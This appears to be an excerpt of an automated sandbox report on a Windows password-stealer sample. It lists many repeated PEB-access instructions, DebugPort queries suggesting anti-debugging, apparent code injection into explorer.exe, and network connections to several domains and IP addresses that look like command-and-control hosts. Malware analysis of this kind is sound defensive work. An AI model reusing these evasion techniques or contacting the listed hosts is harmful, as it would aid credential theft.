Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018AFDE2 mov eax, dword ptr fs:[00000030h]	10_2_018AFDE2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018AFDE2 mov eax, dword ptr fs:[00000030h]	10_2_018AFDE2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018AFDE2 mov eax, dword ptr fs:[00000030h]	10_2_018AFDE2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018AFDE2 mov eax, dword ptr fs:[00000030h]	10_2_018AFDE2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018195EC mov eax, dword ptr fs:[00000030h]	10_2_018195EC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01898DF1 mov eax, dword ptr fs:[00000030h]	10_2_01898DF1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E95F0 mov eax, dword ptr fs:[00000030h]	10_2_017E95F0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E95F0 mov ecx, dword ptr fs:[00000030h]	10_2_017E95F0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A3518 mov eax, dword ptr fs:[00000030h]	10_2_018A3518
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A3518 mov eax, dword ptr fs:[00000030h]	10_2_018A3518
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A3518 mov eax, dword ptr fs:[00000030h]	10_2_018A3518
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017FD5E0 mov eax, dword ptr fs:[00000030h]	10_2_017FD5E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017FD5E0 mov eax, dword ptr fs:[00000030h]	10_2_017FD5E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181F527 mov eax, dword ptr fs:[00000030h]	10_2_0181F527
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181F527 mov eax, dword ptr fs:[00000030h]	10_2_0181F527
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181F527 mov eax, dword ptr fs:[00000030h]	10_2_0181F527
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0186A537 mov eax, dword ptr fs:[00000030h]	10_2_0186A537
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018AE539 mov eax, dword ptr fs:[00000030h]	10_2_018AE539
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01814D3B mov eax, dword ptr fs:[00000030h]	10_2_01814D3B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01814D3B mov eax, dword ptr fs:[00000030h]	10_2_01814D3B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01814D3B mov eax, dword ptr fs:[00000030h]	10_2_01814D3B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018B8D34 mov eax, dword ptr fs:[00000030h]	10_2_018B8D34
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E15C1 mov eax, dword ptr fs:[00000030h]	10_2_017E15C1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01823D43 mov eax, dword ptr fs:[00000030h]	10_2_01823D43
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01863540 mov eax, dword ptr fs:[00000030h]	10_2_01863540
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01893D40 mov eax, dword ptr fs:[00000030h]	10_2_01893D40
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01898D47 mov eax, dword ptr fs:[00000030h]	10_2_01898D47
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01807D50 mov eax, dword ptr fs:[00000030h]	10_2_01807D50
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01824D51 mov eax, dword ptr fs:[00000030h]	10_2_01824D51
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01824D51 mov eax, dword ptr fs:[00000030h]	10_2_01824D51
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E3591 mov eax, dword ptr fs:[00000030h]	10_2_017E3591
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E2D8A mov eax, dword ptr fs:[00000030h]	10_2_017E2D8A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E2D8A mov eax, dword ptr fs:[00000030h]	10_2_017E2D8A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E2D8A mov eax, dword ptr fs:[00000030h]	10_2_017E2D8A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E2D8A mov eax, dword ptr fs:[00000030h]	10_2_017E2D8A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E2D8A mov eax, dword ptr fs:[00000030h]	10_2_017E2D8A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01808D76 mov eax, dword ptr fs:[00000030h]	10_2_01808D76
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01808D76 mov eax, dword ptr fs:[00000030h]	10_2_01808D76
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01808D76 mov eax, dword ptr fs:[00000030h]	10_2_01808D76
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01808D76 mov eax, dword ptr fs:[00000030h]	10_2_01808D76
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01808D76 mov eax, dword ptr fs:[00000030h]	10_2_01808D76
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180C577 mov eax, dword ptr fs:[00000030h]	10_2_0180C577
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180C577 mov eax, dword ptr fs:[00000030h]	10_2_0180C577
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A4496 mov eax, dword ptr fs:[00000030h]	10_2_018A4496
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A4496 mov eax, dword ptr fs:[00000030h]	10_2_018A4496
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A4496 mov eax, dword ptr fs:[00000030h]	10_2_018A4496
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A4496 mov eax, dword ptr fs:[00000030h]	10_2_018A4496
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A4496 mov eax, dword ptr fs:[00000030h]	10_2_018A4496
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A4496 mov eax, dword ptr fs:[00000030h]	10_2_018A4496
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A4496 mov eax, dword ptr fs:[00000030h]	10_2_018A4496
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A4496 mov eax, dword ptr fs:[00000030h]	10_2_018A4496
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A4496 mov eax, dword ptr fs:[00000030h]	10_2_018A4496
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A4496 mov eax, dword ptr fs:[00000030h]	10_2_018A4496
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A4496 mov eax, dword ptr fs:[00000030h]	10_2_018A4496
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A4496 mov eax, dword ptr fs:[00000030h]	10_2_018A4496
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A4496 mov eax, dword ptr fs:[00000030h]	10_2_018A4496
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181D4B0 mov eax, dword ptr fs:[00000030h]	10_2_0181D4B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018B9CB3 mov eax, dword ptr fs:[00000030h]	10_2_018B9CB3
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181CCC0 mov eax, dword ptr fs:[00000030h]	10_2_0181CCC0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181CCC0 mov eax, dword ptr fs:[00000030h]	10_2_0181CCC0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181CCC0 mov eax, dword ptr fs:[00000030h]	10_2_0181CCC0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181CCC0 mov eax, dword ptr fs:[00000030h]	10_2_0181CCC0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E4439 mov eax, dword ptr fs:[00000030h]	10_2_017E4439
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017FB433 mov eax, dword ptr fs:[00000030h]	10_2_017FB433
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017FB433 mov eax, dword ptr fs:[00000030h]	10_2_017FB433
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017FB433 mov eax, dword ptr fs:[00000030h]	10_2_017FB433
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018B8CD6 mov eax, dword ptr fs:[00000030h]	10_2_018B8CD6
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A14FB mov eax, dword ptr fs:[00000030h]	10_2_018A14FB
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01866CF0 mov eax, dword ptr fs:[00000030h]	10_2_01866CF0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01866CF0 mov eax, dword ptr fs:[00000030h]	10_2_01866CF0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01866CF0 mov eax, dword ptr fs:[00000030h]	10_2_01866CF0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018B740D mov eax, dword ptr fs:[00000030h]	10_2_018B740D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018B740D mov eax, dword ptr fs:[00000030h]	10_2_018B740D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018B740D mov eax, dword ptr fs:[00000030h]	10_2_018B740D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A1C06 mov eax, dword ptr fs:[00000030h]	10_2_018A1C06
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A1C06 mov eax, dword ptr fs:[00000030h]	10_2_018A1C06
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A1C06 mov eax, dword ptr fs:[00000030h]	10_2_018A1C06
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A1C06 mov eax, dword ptr fs:[00000030h]	10_2_018A1C06
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A1C06 mov eax, dword ptr fs:[00000030h]	10_2_018A1C06
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A1C06 mov eax, dword ptr fs:[00000030h]	10_2_018A1C06
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A1C06 mov eax, dword ptr fs:[00000030h]	10_2_018A1C06
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A1C06 mov eax, dword ptr fs:[00000030h]	10_2_018A1C06
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A1C06 mov eax, dword ptr fs:[00000030h]	10_2_018A1C06
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A1C06 mov eax, dword ptr fs:[00000030h]	10_2_018A1C06
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A1C06 mov eax, dword ptr fs:[00000030h]	10_2_018A1C06
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A1C06 mov eax, dword ptr fs:[00000030h]	10_2_018A1C06
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A1C06 mov eax, dword ptr fs:[00000030h]	10_2_018A1C06
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A1C06 mov eax, dword ptr fs:[00000030h]	10_2_018A1C06
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01866C0A mov eax, dword ptr fs:[00000030h]	10_2_01866C0A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01866C0A mov eax, dword ptr fs:[00000030h]	10_2_01866C0A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01866C0A mov eax, dword ptr fs:[00000030h]	10_2_01866C0A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01866C0A mov eax, dword ptr fs:[00000030h]	10_2_01866C0A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018B8C14 mov eax, dword ptr fs:[00000030h]	10_2_018B8C14
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E2CDB mov eax, dword ptr fs:[00000030h]	10_2_017E2CDB
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181BC2C mov eax, dword ptr fs:[00000030h]	10_2_0181BC2C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01813C3E mov eax, dword ptr fs:[00000030h]	10_2_01813C3E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01813C3E mov eax, dword ptr fs:[00000030h]	10_2_01813C3E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01813C3E mov eax, dword ptr fs:[00000030h]	10_2_01813C3E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181A44B mov eax, dword ptr fs:[00000030h]	10_2_0181A44B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E4CB0 mov eax, dword ptr fs:[00000030h]	10_2_017E4CB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0187C450 mov eax, dword ptr fs:[00000030h]	10_2_0187C450
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0187C450 mov eax, dword ptr fs:[00000030h]	10_2_0187C450
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018B8450 mov eax, dword ptr fs:[00000030h]	10_2_018B8450
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017F849B mov eax, dword ptr fs:[00000030h]	10_2_017F849B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E649B mov eax, dword ptr fs:[00000030h]	10_2_017E649B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E649B mov eax, dword ptr fs:[00000030h]	10_2_017E649B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180746D mov eax, dword ptr fs:[00000030h]	10_2_0180746D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01825C70 mov eax, dword ptr fs:[00000030h]	10_2_01825C70
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180B477 mov eax, dword ptr fs:[00000030h]	10_2_0180B477
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180B477 mov eax, dword ptr fs:[00000030h]	10_2_0180B477
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180B477 mov eax, dword ptr fs:[00000030h]	10_2_0180B477
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180B477 mov eax, dword ptr fs:[00000030h]	10_2_0180B477
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180B477 mov eax, dword ptr fs:[00000030h]	10_2_0180B477
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180B477 mov eax, dword ptr fs:[00000030h]	10_2_0180B477
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180B477 mov eax, dword ptr fs:[00000030h]	10_2_0180B477
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180B477 mov eax, dword ptr fs:[00000030h]	10_2_0180B477
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180B477 mov eax, dword ptr fs:[00000030h]	10_2_0180B477
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180B477 mov eax, dword ptr fs:[00000030h]	10_2_0180B477
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180B477 mov eax, dword ptr fs:[00000030h]	10_2_0180B477
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180B477 mov eax, dword ptr fs:[00000030h]	10_2_0180B477
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181AC7B mov eax, dword ptr fs:[00000030h]	10_2_0181AC7B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181AC7B mov eax, dword ptr fs:[00000030h]	10_2_0181AC7B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181AC7B mov eax, dword ptr fs:[00000030h]	10_2_0181AC7B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181AC7B mov eax, dword ptr fs:[00000030h]	10_2_0181AC7B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181AC7B mov eax, dword ptr fs:[00000030h]	10_2_0181AC7B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181AC7B mov eax, dword ptr fs:[00000030h]	10_2_0181AC7B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181AC7B mov eax, dword ptr fs:[00000030h]	10_2_0181AC7B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181AC7B mov eax, dword ptr fs:[00000030h]	10_2_0181AC7B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181AC7B mov eax, dword ptr fs:[00000030h]	10_2_0181AC7B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181AC7B mov eax, dword ptr fs:[00000030h]	10_2_0181AC7B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181AC7B mov eax, dword ptr fs:[00000030h]	10_2_0181AC7B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E1480 mov eax, dword ptr fs:[00000030h]	10_2_017E1480
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018B8C75 mov eax, dword ptr fs:[00000030h]	10_2_018B8C75
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01867794 mov eax, dword ptr fs:[00000030h]	10_2_01867794
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01867794 mov eax, dword ptr fs:[00000030h]	10_2_01867794
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01867794 mov eax, dword ptr fs:[00000030h]	10_2_01867794
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E6F60 mov eax, dword ptr fs:[00000030h]	10_2_017E6F60
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E6F60 mov eax, dword ptr fs:[00000030h]	10_2_017E6F60
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017FFF60 mov eax, dword ptr fs:[00000030h]	10_2_017FFF60
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017EA745 mov eax, dword ptr fs:[00000030h]	10_2_017EA745
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017FEF40 mov eax, dword ptr fs:[00000030h]	10_2_017FEF40
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E6730 mov eax, dword ptr fs:[00000030h]	10_2_017E6730
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E6730 mov eax, dword ptr fs:[00000030h]	10_2_017E6730
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E6730 mov eax, dword ptr fs:[00000030h]	10_2_017E6730
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E4F2E mov eax, dword ptr fs:[00000030h]	10_2_017E4F2E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E4F2E mov eax, dword ptr fs:[00000030h]	10_2_017E4F2E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A17D2 mov eax, dword ptr fs:[00000030h]	10_2_018A17D2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018137EB mov eax, dword ptr fs:[00000030h]	10_2_018137EB
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018137EB mov eax, dword ptr fs:[00000030h]	10_2_018137EB
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018137EB mov eax, dword ptr fs:[00000030h]	10_2_018137EB
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018137EB mov eax, dword ptr fs:[00000030h]	10_2_018137EB
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018137EB mov eax, dword ptr fs:[00000030h]	10_2_018137EB
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018137EB mov eax, dword ptr fs:[00000030h]	10_2_018137EB
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018137EB mov eax, dword ptr fs:[00000030h]	10_2_018137EB
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018097ED mov eax, dword ptr fs:[00000030h]	10_2_018097ED

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe

Code function: 10_2_01829860 NtQuerySystemInformation,LdrInitializeThunk,

10_2_01829860

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe

Memory allocated: page read and write | page guard

System process connects to network (likely due to code injection or exploit)

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\explorer.exe	Domain query: www.naspewt.xyz
Source: C:\Windows\explorer.exe	Network Connect: 23.227.38.74 80
Source: C:\Windows\explorer.exe	Domain query: www.mattewigs.com
Source: C:\Windows\explorer.exe	Network Connect: 172.67.215.254 80
Source: C:\Windows\explorer.exe	Domain query: www.vestostore.com
Source: C:\Windows\explorer.exe	Domain query: www.ballthingsez.com
Source: C:\Windows\explorer.exe	Network Connect: 76.223.26.96 80
Source: C:\Windows\explorer.exe	Network Connect: 184.94.215.140 80
Source: C:\Windows\explorer.exe	Network Connect: 152.199.21.175 80
Source: C:\Windows\explorer.exe	Network Connect: 34.102.136.180 80
Source: C:\Windows\explorer.exe	Network Connect: 34.149.87.45 80
